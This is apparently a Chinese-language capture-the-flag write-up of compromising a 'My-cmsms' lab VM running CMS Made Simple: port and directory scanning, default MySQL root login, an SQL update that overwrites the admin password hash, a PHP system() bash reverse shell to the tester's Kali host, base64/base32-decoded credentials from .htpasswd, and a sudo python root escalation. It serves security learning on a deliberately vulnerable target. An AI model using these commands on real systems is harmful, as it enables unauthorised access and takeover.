最近在打vulhub靶场,群里和大佬交流的时候,他告诉我一个Up主,然后我就去看了那个up的视频,跟着他打一些靶场,总比自己随随便便选一个要好。

写wp的初衷是记录自己的不足,也便于自己打完之后总结梳理整体思路,所以我的wp可能废话比较多。有些思路走到后面发现是错的,我也会写出来,不会因此删去那些想法。我觉得在你看到我的wp的时候,看到我的一些错误的思路,我踩过的坑,哪怕他在这个靶机上行不通,但它确实是一个思路。还有我看别人wp知道的新思路,新工具,我也都会记录在我的wp里

网上有大量平铺直述的wp,你打靶机,是为了扩展思路,还是简单的跟着wp做个复现,这个要搞清楚。

废话不多说了,开始吧!

前置准备

老样子,下载资源 在这 ,自己下载好导入虚拟机即可

参考链接

My-cmsms 靶机_匿名用户2的博客-CSDN博客

信息收集

IP

这次的靶机,一打开,就显示了IP,直接拿到IP,不需要扫描啥的了

img

靶机:192.168.56.102 Kali:192.168.56.101

端口

拿到IP之后,我们要看一下,这个IP开放了哪些服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -sTVC 192.168.56.102

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 27:21:9e:b5:39:63:e9:1f:2c:b2:6b:d3:3a:5f:31:7b (RSA)
| 256 bf:90:8a:a5:d7:e5:de:89:e6:1a:36:a1:93:40:18:57 (ECDSA)
|_ 256 95:1f:32:95:78:08:50:45:cd:8c:7c:71:4a:d4:6c:1c (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Home - My CMS
|_http-generator: CMS Made Simple - Copyright (C) 2004-2020. All rights reserved.
3306/tcp open mysql MySQL 8.0.19
|_ssl-date: TLS randomness does not represent time
| mysql-info:
| Protocol: 10
| Version: 8.0.19
| Thread ID: 13
| Capabilities flags: 65535
| Some Capabilities: LongPassword, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, ODBCClient, FoundRows, Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake, InteractiveClient, SupportsCompression, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, Speaks41ProtocolOld, ConnectWithDatabase, LongColumnFlag, SupportsLoadDataLocal, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: n\x11!L.d%0v%K=rX\x0FNJta2
|_ Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.19_Auto_Generated_Server_Certificate
| Not valid before: 2020-03-25T09:30:14
|_Not valid after: 2030-03-23T09:30:14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到开了三个端口,22-SSH,80-HTTP,3306-MySQL

有搞头的也就是80和3306,一个对外开放了web服务,一个是数据库

80

看以看到这里的web服务是一套CMS,我在看别人WP的时候,看到Kali内置了一个工具可以识别CMS,我之前没用过,码住了!这个工具是 whatweb

1
2
3
4
5
6
7
8
9
$ whatweb http://192.168.56.102      

http://192.168.56.102 [200 OK] Apache[2.4.38],
CMS-Made-Simple[2.2.13], Cookies[CMSSESSID2a2f83428536],
Country[RESERVED][ZZ], HTML5,
HTTPServer[Debian Linux][Apache/2.4.38 (Debian)],
IP[192.168.56.102], JQuery[1.11.1],
MetaGenerator[CMS Made Simple - Copyright (C) 2004-2020. All rights reserved.],
Script[text/javascript], Title[Home - My CMS]

可以看到,扫出来的东西还是可以的,扫到了CMS的具体版本(虽然这在web页面也可以看到,但有时候难免会有遗漏的,这个挺方便),我之前都是用物理机的浏览器插件。

拿到一个CMS的时候,首先想到的是,NDay!于是我上网搜索了cmsms的漏洞

看到两个RCE,不过都不适用于这个版本,放弃

然后我又目录扫描了一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
dirb http://192.168.56.102/

==> DIRECTORY: http://192.168.56.102/admin/
==> DIRECTORY: http://192.168.56.102/assets/
==> DIRECTORY: http://192.168.56.102/doc/
==> DIRECTORY: http://192.168.56.102/lib/
==> DIRECTORY: http://192.168.56.102/modules/
+ http://192.168.56.102/phpinfo.php (CODE:200|SIZE:90278)
+ http://192.168.56.102/phpmyadmin (CODE:401|SIZE:461)
+ http://192.168.56.102/server-status (CODE:403|SIZE:279)
==> DIRECTORY: http://192.168.56.102/tmp/
==> DIRECTORY: http://192.168.56.102/uploads/

---- Entering directory: http://192.168.56.102/admin/ ----
+ http://192.168.56.102/admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.56.102/admin/lang/
==> DIRECTORY: http://192.168.56.102/admin/plugins/
==> DIRECTORY: http://192.168.56.102/admin/templates/
==> DIRECTORY: http://192.168.56.102/admin/themes/

---- Entering directory: http://192.168.56.102/doc/ ----
+ http://192.168.56.102/doc/index.html (CODE:200|SIZE:24)
+ http://192.168.56.102/doc/robots.txt (CODE:200|SIZE:121)

---- Entering directory: http://192.168.56.102/lib/ ----
==> DIRECTORY: http://192.168.56.102/lib/assets/
==> DIRECTORY: http://192.168.56.102/lib/classes/
+ http://192.168.56.102/lib/index.html (CODE:200|SIZE:24)
==> DIRECTORY: http://192.168.56.102/lib/jquery/
==> DIRECTORY: http://192.168.56.102/lib/lang/
==> DIRECTORY: http://192.168.56.102/lib/phpmailer/
==> DIRECTORY: http://192.168.56.102/lib/plugins/
==> DIRECTORY: http://192.168.56.102/lib/smarty/
==> DIRECTORY: http://192.168.56.102/lib/tasks/

没啥进展

3306

之前打的靶机都是只开放了22和80端口,这台机子开了3306,一看就是MySQL服务,我们直接用默认账号密码连一下,发现连接成功了

1
mysql -h http://192.168.56.102/ -u root -p

然后输入密码:root,发现成功进入

img

这里我实在是太傻了,一直不知道那个箭头是干啥的,因为我在我的Windows上用mysql几乎都是用的Navicat图形化操作的,只有在学校刚学mysql那阵子用过命令行。

用过Navicat的应该知道,不打分号也是可以执行的,所以我在这里迷糊了好一阵,才想起用;去结束一句sql

MySQL

先看看有哪些数据库

1
2
3
4
5
6
7
8
9
10
11
show databases;

+--------------------+
| Database |
+--------------------+
| cmsms_db |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+

看这个命名,就大概知道,cmsms_db是80端口的站点数据库,后面几个都是mysql自带的。

进入cmsms_db看看有啥表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
use cmsms_db;
show tables;

+--------------------------------+
| Tables_in_cmsms_db |
+--------------------------------+
| cms_additional_users |
| cms_additional_users_seq |
| cms_admin_bookmarks |
| cms_admin_bookmarks_seq |
| cms_adminlog |
| cms_content |
| cms_content_props |
| cms_content_props_seq |
| cms_content_seq |
| cms_event_handler_seq |
| cms_event_handlers |
| cms_events |
| cms_events_seq |
| cms_group_perms |
| cms_group_perms_seq |
| cms_groups |
| cms_groups_seq |
| cms_layout_design_cssassoc |
| cms_layout_design_tplassoc |
| cms_layout_designs |
| cms_layout_stylesheets |
| cms_layout_templates |
| cms_layout_tpl_addusers |
| cms_layout_tpl_categories |
| cms_layout_tpl_type |
| cms_locks |
| cms_mod_cmsjobmgr |
| cms_mod_filepicker_profiles |
| cms_module_deps |
| cms_module_news |
| cms_module_news_categories |
| cms_module_news_categories_seq |
| cms_module_news_fielddefs |
| cms_module_news_fieldvals |
| cms_module_news_seq |
| cms_module_search_index |
| cms_module_search_items |
| cms_module_search_items_seq |
| cms_module_search_words |
| cms_module_smarty_plugins |
| cms_module_templates |
| cms_modules |
| cms_permissions |
| cms_permissions_seq |
| cms_routes |
| cms_siteprefs |
| cms_user_groups |
| cms_userplugins |
| cms_userplugins_seq |
| cms_userprefs |
| cms_users |
| cms_users_seq |
| cms_version |
+--------------------------------+

cms_users 产生兴趣,猜测里面存储的是站点的用户信息,拿到之后,可以直接登录站点。

看看这个表里都有啥

1
2
3
4
5
6
7
select * from cms_users;

+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+
| user_id | username | password | admin_access | first_name | last_name | email | active | create_date | modified_date |
+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+
| 1 | admin | fb67c6d24e756229aab021cea7605fb3 | 1 | | | admin@mycms.local | 1 | 2020-03-25 09:38:46 | 2020-03-26 10:49:17 |
+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+

看以看到,只有一个用户admin,账号密码都出来了

密码盲猜md5加密,于是拿去解密了一波,没解出来

img

加密类型

现在问题来了,有两条路:

  1. 解出这个密码,直接登录
  2. 改密码,再登录

不管是哪一种,最终都是要知道这个密码的加密方式才行

这里给出两种方式

CMS文档

直接上网搜,因为这是个CMS,可能会有他们的帮助文档(或者其他人遇到过这个问题,解决了之后写博客发到网上),看能不能找到突破

小提示:

如果是国人开发的CMS,首选用中文搜索;外国人开发的CMS首选英文搜索

这很重要!!!因为我最开始用中文根本没搜到

img

这里给出链接

CMS Made Simple Admin password recovery : : CMS Made Simple - Tutorials, Tips and Tricks - CMSMS

里面给出了三种重置密码的方法,这里我们主要关注数据库这条

img

照着这个教程把密码改成123456

1
update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'123456'))) where username = 'admin';

代码审计

这里给出另一种思路:代码审计

因为这是个开源的CMS,源码我们是可以下载到的,我们就可以直接下载下来,去看源码,找出密码的加密方式。

我个人代码审计比较菜,没有用这种方法。其实难度不高,B站有大佬的讲解视频用的就是这种方法,感兴趣可以去看看,id叫大福。

Web后台

之前目录扫描扫出来的admin/,进去之后,直接跳转到admin/login.php,在这里输入账号密码登录

img

看以看到,成功登录后台了

文件上传

用户自定义标签

发现左边标签栏有个Extensions,这引起了我的注意,因为之前在打一个靶机的时候,拿到WordPress的一个后台,最后也是通过扩展

img

这里是有php的RCE的,我们可以把里面的代码删了换成我们自己的。用php执行反弹shell就行,方法很多,可以直接生成一个php反弹shell的代码,也可以直接用php函数调用系统命令

我这里用php调用系统命令,用bash反弹shell

1
system("bash -c 'bash -i>& /dev/tcp/192.168.56.101/6666 0>&1'");

监听端口——> Submit提交 —-> Run执行

img

再来看看Kali这边,成功反弹Shell,拿到的是www权限

img

提权

尝试了内核提权,suid提权都无果

于是翻起了文件,看看有没有什么敏感文件,备份文件啥的

我个人很喜欢上传一个一句话木马,然后用蚁剑连上去,直接图形化找文件,不过这里没有权限创建

最终在/var/www/html/admin下面发现一个隐藏文件.htpasswd

img

.htpasswd

查看一下,得到一串字符串,感觉是base64(两个等号)

1
2
3
4
5
TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=
# base64解密
MFZG233VOI5FG2DJMVWGIQBRGIZQ====
# base32解码
armour:Shield@123

为什么后面选择用base32而不是base64?

凭经验猜,但首先你得了解一下常用的加密、编码方式有哪些特征

  • Base16:结尾没有等号,数字要多于字母;
  • Base32:字母要多于数字,明文数量超过10个,结尾可能会有很多等号;
  • Base58:结尾没有等号,字母要多于数字;
  • Base64:一般情况下结尾都会有1个或者2个等号,明文很少的时候可能没有;
  • Base85:等号一般出现在字符串中间,含有一些奇怪的字符;
  • Base100:密文由 Emoji 表情组成。

知道了上面这些特征,你就能大概看出最符合的就是base32了

切换到armour

1
su -u armour

sudo -l查看armour用户有没有可以执行的sudo命令

img

发现不用密码就可以执行python,这不直接用python提权?

python提权

1
sudo python -c 'import pty;pty.spawn("/bin/bash")'

成功提权,拿到flag

img

总结

整体思路

拿到IP之后,对端口进行扫描,发现22,80,3306端口

80的web页面没有进展,转战3306,通过弱口令拿下数据库

通过mysql操作,修改admin密码(其中主要的是:理清密码的加密方式)

用修改过的admin账号登录web管理后台,拓展那里可以执行php代码

写入反弹shell代码,监听,执行,拿到shell

通过隐藏文件解密.htpasswd,拿到armour用户的账号密码,切换到该用户

发现该用户可以不使用密码运行python,用python提权成功,拿到flag

收获

  • 重温了一波mysql的命令行操作,很多不熟练,还得再练练,毕竟以后实战环境没有图形化的界面给我操控mysql
  • CMS往往有类似于“插件”、“扩展”之类的功能,一般支持自定义,可以上传代码片段,容易拿SHELL